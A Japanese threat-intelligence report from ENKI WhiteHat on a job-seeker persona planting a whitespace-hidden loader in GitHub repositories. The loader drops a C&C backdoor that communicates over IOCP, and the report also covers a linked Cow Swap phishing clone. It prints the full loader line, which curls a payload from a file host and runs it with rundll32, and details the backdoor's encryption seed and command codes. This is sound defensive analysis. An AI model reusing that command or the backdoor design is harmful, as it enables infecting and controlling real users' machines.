今日表示しない

トップへ戻る

トップへ戻る

IOCP、C&Cバックドアのサムネイル
IOCP、C&Cバックドアのサムネイル

脅威インテリジェンス

脅威インテリジェンス

脅威インテリジェンス

GitHub

GitHub

GitHub

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

概要

  • GitHubで、同一のマルウェアを含む2つのリポジトリを発見し、分析を行った。

  • 攻撃者は、実際のリポジトリをコピーしたり、長い空白文字を用いてマルウェアを隠蔽するなど、様々な手法を用いて正常なリポジトリであるかのように見せかけた。

  • 最終的に実行されるバックドアマルウェアは、複数のスレッドが相互作用し、IOCP(Input/Output Completion Port)を介してC&Cサーバーと通信する。

  • 攻撃者のリポジトリを調査して攻撃の変遷過程を把握し、攻撃者がフルスタックおよびブロックチェーン開発者を装って求職活動を行っていたことを確認した。

  • 攻撃者はリポジトリにマルウェアを挿入するだけでなく、フィッシングサイトを制作し、採用プロセスを装ったマルウェア感染攻撃も準備中である。

1. 概要

GitHub(ギットハブ)は、開発者が自身の成果物やポートフォリオを共有し、協画するために活用されているプラットフォームです。しかし、研究者や開発者、求職者に偽装して正常なリポジトリのように見せかけた後、一部のファイルに悪意のあるスクリプトを挿入したり、マルウェアを1-Day脆弱性のPoCに偽装してアップロードするなど、マルウェア感染を誘導する様々な事例が存在します。

北朝鮮のIT労働者の場合、外貨獲得と情報窃取を目的としてLinkedInやGitHubに偽のプロフィールを作成し、開発者に偽装して就職を試みる事例が確認されています。

このように、GitHubは攻撃者がソーシャルエンジニアリングの手法と組み合わせて、採用担当者や一般ユーザーを騙すために悪用されています。

공격자의 구직 활동 기록

caption - 攻撃者の求職活動の記録

本記事では、一部のリポジトリに悪意のあるスクリプトを挿入し、求職者に偽装して活動する攻撃者の活動やマルウェア、そしてこれに関連するフィッシング攻撃に関する内容を扱います。

2. 攻撃者情報

攻撃者はGitHubの「RealToma」アカウントを使用しており、華やかな経歴を持つかのようにプロフィールを飾り、正常なユーザーであるかのように偽装していた。

RealToma 깃허브 개요

caption - RealToma GitHubの概要

SNSや宣伝したい多数のリンクを1つのページで表示するLinktreeを利用して、攻撃者がメール、履歴書、GitHub、LinkedInなどを整理していることも確認できる。

공격자 링크트리

caption - 攻撃者のLinktree

ブロックチェーン採用プラットフォームであるweb3.careerで攻撃者のアカウントを確認すると、12年の経歴を持つフルスタックおよびブロックチェーン開発者「Thomas Ken」として求職活動を行っていることがわかる。

web3.career 자기 소개 정보

caption - web3.career 自己紹介情報

3. マルウェア解析

3.1. 悪意のあるスクリプトが含まれるGitHubリポジトリ

攻撃者が作成したリポジトリのうち、サブスクリプションサービスのログインと決済を自動化するTelegramボットのリポジトリが存在する。

공격자 리포지토리 중 하나인 Ly_AutoPayBot

caption - 攻撃者のリポジトリの一つであるLy_AutoPayBot

該当するリポジトリの中で、ロギング機能のsrc/helper/logger.tsファイルに悪意のあるスクリプトが挿入された。実際のコードは46行目で終了しているが、368行目に長い空白を利用して悪意のあるスクリプトが隠されている。

logger.ts 파일에 삽입된 악성 스크립트

caption - logger.tsファイルに挿入された悪意のあるスクリプト

悪意のあるスクリプトは、logger.tsがインポートされるたびに実行される。したがって、LyAutoPayBotリポジトリをダウンロードしてボットを実行したユーザーは、マルウェアに感染することになる。

該当するスクリプトは、無料のファイルホストサイトであるcatboxからマルウェアをダウンロードして実行する。全体のコマンドは以下の通りである。

  • import {exec} from 'child_process'; exec(`cmd.exe /C "curl -s <https://files.catbox.moe/mur3el.png> -o %temp%/temp.png && START /B rundll32.exe %temp%/temp.png DllRegisterServer"`);

ダウンロードされて実行されるmur3el.pngファイルは、C++で作成されたDLLファイルで、DllRegisterServer関数に悪意のある行為が存在する。

3.2. mur3el.png

動作方式

mur3el.pngは2つのスレッドを作成し、プログラム実行時に作成されるPrimaryThreadを含めて計3つのスレッドが相互作用しながら悪意のある行為を行う。スレッド別の機能は以下の表の通りである。

| 스레드  | 기능 |
| --- | --- |
| PrimaryThread | 악성코드 초기 설정 종료 처리 |
| SendThread | C&C 서버로 메시지 전송 |
| RecvThread | C&C 서버 데이터 수신 백도어 행위 수행

| 스레드  | 기능 |
| --- | --- |
| PrimaryThread | 악성코드 초기 설정 종료 처리 |
| SendThread | C&C 서버로 메시지 전송 |
| RecvThread | C&C 서버 데이터 수신 백도어 행위 수행

| 스레드  | 기능 |
| --- | --- |
| PrimaryThread | 악성코드 초기 설정 종료 처리 |
| SendThread | C&C 서버로 메시지 전송 |
| RecvThread | C&C 서버 데이터 수신 백도어 행위 수행

caption - スレッド機能

スレッド間の相互作用プロセスは、PrimaryThreadで初期設定を行った後、SendThreadとRecvThreadを順次作成および実行する方式で行われる。SendThreadはC&CサーバーにプロセスIDとコマンド実行結果を送信し、RecvThreadはIOCP Worker Threadとして設定され、C&Cサーバーからコマンドを受信してこれを処理する。

このプロセスはループ形式で繰り返され、終了コマンドの受信時にPrimaryThreadが各スレッドを無効化し、ソケット接続を終了する。このプロセスで使用される主要な変数と説明は以下の表の通りである。

| 변수  | 설명 |
| --- | --- |
| MalwareShutdown | 값이 1이면 악성코드 실행 종료 |
| MsgDeque | C&C 서버로 전송할 데이터를 저장하는 자료 구조 |
| SocketFlag | C&C 서버 통신 상태  플래그-n(1: 연결 요청, 2: 메시지 전송,-n3: 수신 대기, 4: 연결 종료) |
| ShutdownFlag | C&C 통신 종료 플래그-n(2: SetLastError 함수 호출(소켓 에러를 나타냄),-n4: I/O 작업 해제, 소켓 송수신 작업 종료) |
| SendThreadRunFlag | 값이 1이면 SendThread 실행 종료

| 변수  | 설명 |
| --- | --- |
| MalwareShutdown | 값이 1이면 악성코드 실행 종료 |
| MsgDeque | C&C 서버로 전송할 데이터를 저장하는 자료 구조 |
| SocketFlag | C&C 서버 통신 상태  플래그-n(1: 연결 요청, 2: 메시지 전송,-n3: 수신 대기, 4: 연결 종료) |
| ShutdownFlag | C&C 통신 종료 플래그-n(2: SetLastError 함수 호출(소켓 에러를 나타냄),-n4: I/O 작업 해제, 소켓 송수신 작업 종료) |
| SendThreadRunFlag | 값이 1이면 SendThread 실행 종료

| 변수  | 설명 |
| --- | --- |
| MalwareShutdown | 값이 1이면 악성코드 실행 종료 |
| MsgDeque | C&C 서버로 전송할 데이터를 저장하는 자료 구조 |
| SocketFlag | C&C 서버 통신 상태  플래그-n(1: 연결 요청, 2: 메시지 전송,-n3: 수신 대기, 4: 연결 종료) |
| ShutdownFlag | C&C 통신 종료 플래그-n(2: SetLastError 함수 호출(소켓 에러를 나타냄),-n4: I/O 작업 해제, 소켓 송수신 작업 종료) |
| SendThreadRunFlag | 값이 1이면 SendThread 실행 종료

caption - 主要変数の説明

スレッド間の相互作用とC&Cサーバー通信プロセスをシーケンス図で表したものは、以下の図で確認できる。

스레드 간 상호작용 및 C&C 서버 통신 과정

caption - スレッド間の相互作用およびC&Cサーバー通信プロセス

C&C通信

C&Cサーバーとの通信はHTTP POSTリクエストで行われ、WindowsのInput/Ouptput Completion Port(以下、IOCP)機能を利用する。このプロセスでIOCPのOverlapped構造体を拡張して使用するため、通信プロセスでMsgTypeが一緒に送受信される。MsgTypeの値は2、3、8のいずれかであり、RecvThreadで使用される。

IOCPを利用したC&Cサーバーへのリクエストは、以下の図のように実行される。

HTTP POST 요청 전송 과정

caption - HTTP POSTリクエストの送信プロセス

詳細なプロセスは以下の通りである。

  1. C&CサーバーとのTCP three-way-handshakeプロセスにおいて、SYN、ACKパケットがIOCP機能によってRecvThreadにも伝達される。

  2. RecvThreadはSYN、ACKパケットを受信し、SocketFlagを2に設定する。

  3. その後、ACKパケットを送信してthree-way-handshakeを完了させたSendThreadで、SocketFlagが2であることを確認し、C&CサーバーにHTTP POSTリクエストを送信する。

暗号化・復号化方式

マルウェアの文字列データの復号とC&Cサーバーとの送受信データの暗号化・復号にはBase64とMT19937を利用し、このプロセスで使用されるMT19937のシード値は異なる。

まず、文字列データの復号プロセスは以下の通りである。

  1. 暗号化されたデータのBase64デコード

  2. デコードされたデータの最初の4バイトをMT19937のシード値として使用

  3. MT19937の出力値と1バイトのxor演算を実行

문자열 데이터 복호화 루틴

caption - 文字列データ復号ルーチン

C&Cサーバーの受信データ復号プロセスは以下の通りである。

  1. 暗号化されたデータのBase64デコード

  2. 0x4ACAB58Cの値をMT19937のシード値として使用

  3. MT19937の出力値と1バイトのxor演算を実行

C&C 수신 데이터 복호화 루틴

caption - C&C受信データ復号ルーチン

C&Cサーバーへの送信データ暗号化プロセスは以下の通りである。

  1. 0x4ACAB58Cの値をMT19937のシード値として使用

  2. MT19937の出力値と1バイトのxor演算を実行

  3. データのBase64エンコード

PrimaryThread

PrimaryThreadは「txtdobw」という名前のミューテックスを作成し、重複実行されているかどうかを確認する。正常に作成された場合、マルウェアに感染したシステムボリュームのGUIDパスを利用して、感染システムを識別するためのIDを作成する。

감염 시스템 ID 생성 루틴

caption - 感染システムID作成ルーチン

IDの作成が完了するとSendThreadを作成し、RecvThreadをIOCP Worker Threadに設定して、C&Cサーバーからデータを受信したときにRecvThreadが実行されるようにする。

その後、感染システムの情報を収集してMsgDequeに追加し、C&Cサーバーと最初につながったときに収集した情報を送信する。収集する情報は以下の通りである。

  1. ユーザー名

  2. コンピューター名

  3. 実行中のプロセスID

  4. msci.cngファイルのデータ

msci.cngファイルは、マルウェアがインストールされたパスにあるファイルで、RecvThreadに該当のファイルを作成するルーチンが存在する。このファイルには整数値が保存され、感染システム情報を収集する際にはファイルが存在しないため、値が0に設定される。

最後に、MalwareShutdownの値が1に設定されるまでSleep関数を呼び出して待機し、1に設定されるとC&Cサーバーとのソケット接続、およびSendThread、RecvThreadの実行を終了する。

SendThread

SendThreadはSocketFlagに応じて、C&Cサーバーとの接続を試みるか、MsgDequeに保存されたデータを送信する。SendThreadRunFlagが1になるまで無限ループ内で実行され続ける。

SocketFlagに応じて実行される行為は以下の表の通りである。

| SocketFlag | 행위 |
| --- | --- |
| 1 | 연결 요청 |
| 2 | HTTP POST 요청으로 MsgDeque에 저장된 데이터 전송-n(전송된 데이터는 MsgDeque에서 제거) |
| 3 | SocketFlag가 변경될 때까지 Sleep 함수 호출 |
| 4 | 연결 종료 MsgDeque에 데이터가 저장될 때까지 Sleep 함수 호출

| SocketFlag | 행위 |
| --- | --- |
| 1 | 연결 요청 |
| 2 | HTTP POST 요청으로 MsgDeque에 저장된 데이터 전송-n(전송된 데이터는 MsgDeque에서 제거) |
| 3 | SocketFlag가 변경될 때까지 Sleep 함수 호출 |
| 4 | 연결 종료 MsgDeque에 데이터가 저장될 때까지 Sleep 함수 호출

| SocketFlag | 행위 |
| --- | --- |
| 1 | 연결 요청 |
| 2 | HTTP POST 요청으로 MsgDeque에 저장된 데이터 전송-n(전송된 데이터는 MsgDeque에서 제거) |
| 3 | SocketFlag가 변경될 때까지 Sleep 함수 호출 |
| 4 | 연결 종료 MsgDeque에 데이터가 저장될 때까지 Sleep 함수 호출

caption - SocketFlagに応じた行為

RecvThread

RecvThreadは、C&Cサーバーから受信したデータに応じて悪意のある行為を実行する。

受信データのうち、MsgTypeの値に応じて実行される行為は以下の表の通りである。

| MsgType | 행위 |
| --- | --- |
| 2 | SocketFlag 2설정 (메시지 전송) |
| 3 | C&C 서버 수신 데이터 복호화 명령 코드에 따른 악성 행위 수행 |
| 8 | SocketFlag 4설정 (연결 종료)

| MsgType | 행위 |
| --- | --- |
| 2 | SocketFlag 2설정 (메시지 전송) |
| 3 | C&C 서버 수신 데이터 복호화 명령 코드에 따른 악성 행위 수행 |
| 8 | SocketFlag 4설정 (연결 종료)

| MsgType | 행위 |
| --- | --- |
| 2 | SocketFlag 2설정 (메시지 전송) |
| 3 | C&C 서버 수신 데이터 복호화 명령 코드에 따른 악성 행위 수행 |
| 8 | SocketFlag 4설정 (연결 종료)

caption - MsgTypeに応じた行為

MsgTypeが3のとき、受信データは以下の条件を満たさなければならない。条件を満たした場合は復号した後に次の行為を実行し、満たさなかった場合はソケット接続を終了する。

  • データが「OK」で始まること。

  • 「OK」以降のデータが「<!DOCTYPE」で始まらないこと。

コマンドコードに応じて実行される行為は以下の表の通りである。

| 명령 코드 | 행위 |
| --- | --- |
| 0x10010 | 감염 시스템 정보 수집 |
| 0x10028 | 실행중인 프로세스 파일 이름 수집 |
| 0x10022 | TCP keepalive 시간 변경 (최대 2분) |
| 0x10015 | MalwareShutdown 변수 1설정 |
| 0x10025 | 수신 데이터 msci.cng 파일에 작성 감염 시스템 정보 수집 |
| 0x10003 | 명령어 실행 |
| 0x10006 | 메모리 할당 |
| 0x10007 | 프로세스에 삽입할 코드 메모리에 복사 |
| 0x10008 | 프로세스 인젝션 수행 |
| 0x1000c | 메모리 해제 |
| 0x1001B | 소켓 연결 종료

| 명령 코드 | 행위 |
| --- | --- |
| 0x10010 | 감염 시스템 정보 수집 |
| 0x10028 | 실행중인 프로세스 파일 이름 수집 |
| 0x10022 | TCP keepalive 시간 변경 (최대 2분) |
| 0x10015 | MalwareShutdown 변수 1설정 |
| 0x10025 | 수신 데이터 msci.cng 파일에 작성 감염 시스템 정보 수집 |
| 0x10003 | 명령어 실행 |
| 0x10006 | 메모리 할당 |
| 0x10007 | 프로세스에 삽입할 코드 메모리에 복사 |
| 0x10008 | 프로세스 인젝션 수행 |
| 0x1000c | 메모리 해제 |
| 0x1001B | 소켓 연결 종료

| 명령 코드 | 행위 |
| --- | --- |
| 0x10010 | 감염 시스템 정보 수집 |
| 0x10028 | 실행중인 프로세스 파일 이름 수집 |
| 0x10022 | TCP keepalive 시간 변경 (최대 2분) |
| 0x10015 | MalwareShutdown 변수 1설정 |
| 0x10025 | 수신 데이터 msci.cng 파일에 작성 감염 시스템 정보 수집 |
| 0x10003 | 명령어 실행 |
| 0x10006 | 메모리 할당 |
| 0x10007 | 프로세스에 삽입할 코드 메모리에 복사 |
| 0x10008 | 프로세스 인젝션 수행 |
| 0x1000c | 메모리 해제 |
| 0x1001B | 소켓 연결 종료

caption - コマンドコードに応じた行為

4. 攻撃の変化

攻撃者は2024年10月から2025年2月までの約4ヶ月間、2回にわたり悪意のあるスクリプトに変更を加えた。別のアカウントを使用してマルウェアを流布し、GitHubにアップロードされたファイルの中に挿入された悪意のあるスクリプトは、より検知されにくくなるよう変更された。最終的に実行されるマルウェアの振る舞いに変化はなく、relocセクションのハッシュも同一であった。

2025년 5월に攻撃者は、マルウェアを流布していたGitHubアカウントとフィッシングサイトを関連付けた。これにより、攻撃者がGitHubを通じたマルウェアの流布や、ブロックチェーン開発者としての求職活動だけでなく、フィッシング攻撃も実行していることが確認できた。

4.1. RealToma アカウント

2024年10月にRealTomaアカウントにアップロードされた Ly_AutoPayBot リポジトリは、悪意のあるスクリプトが難読化されておらず、マルウェアをダウンロードして実行する行為のみが存在する。

Ly_AutoPayBot 리포지토리에서 확인된 악성 스크립트

caption - Ly_AutoPayBot リポジトリで確認された悪意のあるスクリプト

RealToma アカウントは2025年3月末から4月初旬にかけて削除された。

RealToma 계정 링크 접속 시 보이는 404 에러

caption - RealToma アカウントのリンクにアクセスした際に表示される404エラー

4.2. mthomas0802 アカウント

2025年2月、攻撃者は RealTomaアカウント以外に別のGitHubアカウントを使用した。

mthomas0802 깃허브 개요

caption - mthomas0802 GitHubの概要

該当アカウントは、「Uniswap V3 Market Maker Trading Bot」リポジトリをそのまま複製(フォーク)し、mm.jsに悪意のあるスクリプトを挿入した。

jamesbachini – Market-Maker-Bot 리포지토리

caption - jamesbachini – Market-Maker-Bot リポジトリ

공격자가 생성한 리포지토리(mthomas0802 - Market-Maker-Bot)

caption - 攻撃者が作成したリポジトリ(mthomas0802 - Market-Maker-Bot)

RealToma アカウントが削除された後、mthomas0802 アカウントのフォロー中(Following)リストに mercury-swap という組織(Organization)が追加された。

 mthomas0802 계정의 팔로잉 목록

caption - mthomas0802 アカウントのフォロー中リスト

mercury-swap 組織は、公開リポジトリとメンバーが存在しない組織であり、フォロワーに mthomas0802 アカウントを含む2つのアカウントが存在する。

mercury-swap 조직 팔로워

caption - mercury-swap 組織のフォロワー

4.3. L34rnT0C0d3 アカウント

L34rnT0C0d3 アカウントは、mthomas0802 アカウントと共に mercury-swap 組織をフォローしているアカウントである。該当アカウントのリポジトリリストを見ると、RealToma アカウントの Ly_AutoPayBot と類似した名前の AutoPayBot リポジトリが存在する。

L34rnT0C0d3 깃허브 개요

caption - L34rnT0C0d3 GitHubの概要

該当リポジトリは、RealToma アカウントの Ly_AutoPayBot リポジトリと同一の構成で成り立っている。

L34rnT0C0d3의 AutoPayBot 리포지토리

caption - L34rnT0C0d3 の AutoPayBot リポジトリ

AutoPayBot リポジトリで src/helper/logger.ts ファイルを確認すると、Ly_AutoPayBot リポジトリと同じ位置に悪意のあるスクリプトが挿入されていることが確認できる。

caption - AutoPayBot リポジトリに挿入された悪意のあるスクリプト

挿入されたスクリプトは、Ly_AutoPayBot リポジトリで発見されたスクリプトと一致している。

4.4. 悪意のあるスクリプトの変化

攻撃者が作成した "mthomas0802 - Market-Maker-Bot" リポジトリの mm.js ファイルの2行目に、長い空白を利用して悪意のあるスクリプトが挿入されていることが確認できる。

악성 스크립트가 삽입된 mm.js

caption - 悪意のあるスクリプトが挿入された mm.js

過去の "RealToma - Ly_AutoPayBot" リポジトリの悪意のあるスクリプトは難読化されていなかったが、"mthomas0802 - Market-Maker-Bot" リポジトリの悪意のあるスクリプトには難読化が適用されていることがわかる。難読化は JavaScript Obfuscator Tool を用いて適用された。

悪意のあるスクリプトの振る舞いにも変化が存在する。今回の攻撃では、感染したシステムのOS情報を収集してC&Cサーバーに送信するルーティンが追加された。収集される情報は以下の通りである。

  • [hostname] – [os type]([platform] [architecture] [os release version])

난독화 해제 결과

caption - 難読化解除の結果

さらに攻撃者は、悪意のあるスクリプトを一度修正した。従来、catboxを利用してマルウェアをダウンロードしていた方式を、dropboxを利用してダウンロードする方式に変更し、悪意のあるスクリプト内の文字列をbase64でエンコードした。

난독화 해제 및 문자열 base64 디코딩 결과(dropbox에서 악성코드 다운로드)

caption - 難読化解除および文字列のbase64デコード結果(dropboxからのマルウェアダウンロード)

感染したシステム情報をアップロードするC&Cサーバーのアドレスも変更されていることが確認できる。

  • 変更前: 166.88.90[.]143

  • 変更後: 166.88.117[.]246

ダウンロードされたマルウェアが通信するC&Cサーバーのアドレスも変更された。catboxを利用してダウンロードされるマルウェア(RealToma, mthomas0802)と、dropboxを利用してダウンロードされるマルウェア(mthomas0802)に分かれる。

  • 変更前: hxxp://166.88.90[.]143/ms/edgeLogo.webp

  • 変更後: hxxp://166.88.117[.]246/blogs/21549876546523165464

この過程で攻撃者は、GitHubアカウントにメールアドレスを追加した。

깃허브 프로필에서 확인한 이메일 주소

caption - GitHubプロファイルで確認されたメールアドレス

攻撃手法の変化以外にも、攻撃者はリポジトリを作成する際にコミットログを捏造(改ざん)した。リポジトリの作成日は2025年2月28日だが、コミットログを確認すると2023年になっていることがわかる。これは jamesbachini アカウントのリポジトリのコミットログと同じである。

Market-Maker-Bot 리포지토리 생성 일자

caption - Market-Maker-Bot リポジトリの作成日

Market-Maker-Bot 커밋 로그

caption - Market-Maker-Bot コミットログ

4.5. フィッシング攻撃の兆候

攻撃者のGitHubアカウントがフォローしている mercury-swap 組織のプロファイルには、以下のように Mercury Swap という名前の暗号資産取引サイトへとつながるリンクが存在する。

 Mercury Swap 사이트

caption - Mercury Swap サイト

Mercury Swap サイトは、Cow Protocolに基づいて構築された取引インターフェースである Cow Swap を模倣して作成されたフィッシングサイトで、Cow Swap サイトとUIおよび機能が酷似していることがわかる。

CoW Swap 사이트

caption - CoW Swap サイト

フィッシングサイトで「Connect Wallet(ウォレットを接続)」ボタンを押すと、以下のように4つの暗号資産ウォレットから1つを選んで接続することができ、ユーザーが該当サイトでウォレットを接続した場合、攻撃者によってウォレットから資金が引き出される状況が発生する可能性がある。

지갑 연결 팝업

caption - ウォレット接続ポップアップ

5月28日には、Mercury SwapのX(旧Twitter)アカウントにフロントエンド開発者を募集するという投稿がアップロードされた。これは、採用を装って求職者を対象にマルウェアを流布する潜在的な攻撃へとつながる可能性がある。

Mercury Swap X의 개발자 모집 글

caption - Mercury Swap Xのエンジニア募集投稿

求職者を対象にマルウェアを流布する攻撃には、Contagious InterviewOperation DreamJob など、多様な攻撃事例が存在するため、格別の注意が必要である。

Contagious Interviewキャンペーンは、攻撃者が求職者に接触してインタビュー(面接)を進める最中、コーディングテストなどを目的として、悪意のあるスクリプトが含まれたNPMパッケージをダウンロード・実行させる。Contagious Interviewキャンペーンは、ビデオ通話アプリに偽装してマルウェアをインストールさせるなど、長期にわたり多様な方法で実施されてきた。

 Unit42에서 작성한 Contagious Interview 공격 흐름도

caption - Unit42が作成した Contagious Interview の攻撃フロー図

Operation DreamJobは、Lazarusグループによる攻撃として知られるキャンペーンであり、求人の提案を装って悪意のあるコードが含まれた文書ファイルを送り、攻撃を実行する。

 ClearSky에서 작성한 Operation DreamJob 흐름도

caption - ClearSkyが作成した Operation DreamJob のフロー図

5. 対応策

個人ユーザーは、オープンソースを使用する際にコードの変更履歴を確認し、自らコードレビューを行う習慣が重要である。一見、正常で信頼できるアカウントのように見えても、実際には内部に悪意のあるスクリプトが含まれている可能性があるため、格別の注意が必要である。

企業の場合には、採用プロセスとオープンソースの使用という2つの側面で注意が必要である。これを予防するための方法は以下の通りである。

  1. 採用プロセス

    • 求職者に偽装した攻撃者を採用してしまった場合、内部のセキュリティ脅威につながる可能性があるため、採用プロセスにおいてプロフィールや身元の検証を強化する必要がある。

    • 攻撃者はディープフェイク技術を利用して偽の写真を生成する。履歴書、ポートフォリオ、LinkedInなどで確認できる写真が、AIを使用して修正されたものであるかを確認する。

    • プロジェクトへの参加有無、以前の勤務先の確認などのクロスチェックを確実に行う。

  1. オープンソースの使用

    • 公式リポジトリ、または企業内部で承認されたオープンソースのみを使用する。

    • コミットログやコードの変更履歴を確認する。

6. おわりに

本稿では、GitHub(ギットハブ)にて求職者に偽装してマルウェアを拡散した事例について分析した。攻撃者はすでに検証済みのリポジトリを複製した後、一部のファイルにのみ悪意のあるスクリプトを挿入してマルウェアを拡散する。また、他のユーザーからの信頼を得るために、フォロー、フォロワー数、貢献度(コントリビューション)などを操作する。

最初に悪意のあるスクリプトが発見されたRealTomaアカウントは削除されたが、mthomas0802アカウント、L34rnT0C0d3アカウントは依然として存在しており、攻撃者はGitHubを通じたマルウェア拡散のほかにも、フィッシング攻撃、採用を装ったマルウェア拡散攻撃など、多様な攻撃を試みていることが確認された。

海外では非対面での採用やリモートワークが国内に比べて活発であり、国籍や身元を偽り、偽の経歴を利用してIT企業に就職した事例も報告されている。国内では関連する事例は明らかになっていないが、このような脅威が発生する可能性は十分に考えられるため、格別の注意が必要である。

7. 付録

7.1. MITRE ATT&CK

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification-nT1055.009: Process Injection: Proc Memory |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography-nT1571: Non-Standard Port-nT1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Impact | T1657: Financial Theft-nT1565.001: Stored Data Manipulation

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification-nT1055.009: Process Injection: Proc Memory |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography-nT1571: Non-Standard Port-nT1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Impact | T1657: Financial Theft-nT1565.001: Stored Data Manipulation

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification-nT1055.009: Process Injection: Proc Memory |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography-nT1571: Non-Standard Port-nT1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Impact | T1657: Financial Theft-nT1565.001: Stored Data Manipulation

caption - MITRE ATT&CK

7.2. IOCs

sha256

  • 6ac3bd5e67f5ba1f8effbb53d25078e11ba3dd3d3d5046f5409d653c73db5d59

  • 5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b

  • 7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d

  • 8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c

  • 13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9

  • 52046ad374041f0cabc47e897e10de86b64997ed6da8123d067dac7ead5343b7

C&C

  • hxxp://166.88.90[.]143:12321

  • hxxp://166.88.90[.]143/ms/edgeLogo.webp

  • hxxp://166.88.117[.]246:12321

  • hxxp://166.88.117[.]246/blogs/21549876546523165464

ミューテックス

  • txtdobw

バックドアダウンロードリンク

  • hxxps://files.catbox[.]moe/zxmneq.png

  • hxxps://files.catbox[.]moe/mur3el.png

  • hxxps://www.dropbox[.]com/scl/fi/edq1ecio6zr2ophnnv3l7/89373.png?rlkey=whwftc8qf452xku7c8ya3cd5o&st=bcmppt7i&dl=0

GitHub リポジトリ

  • hxxps://github.com/mthomas0802/Market-Maker-Bot

  • hxxps://github.com/RealToma/Ly_AutoPayBot

  • hxxps://github.com/L34rnT0C0d3

フィッシングサイト

  • hxxps://app[.]mercuryswap[.]io

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.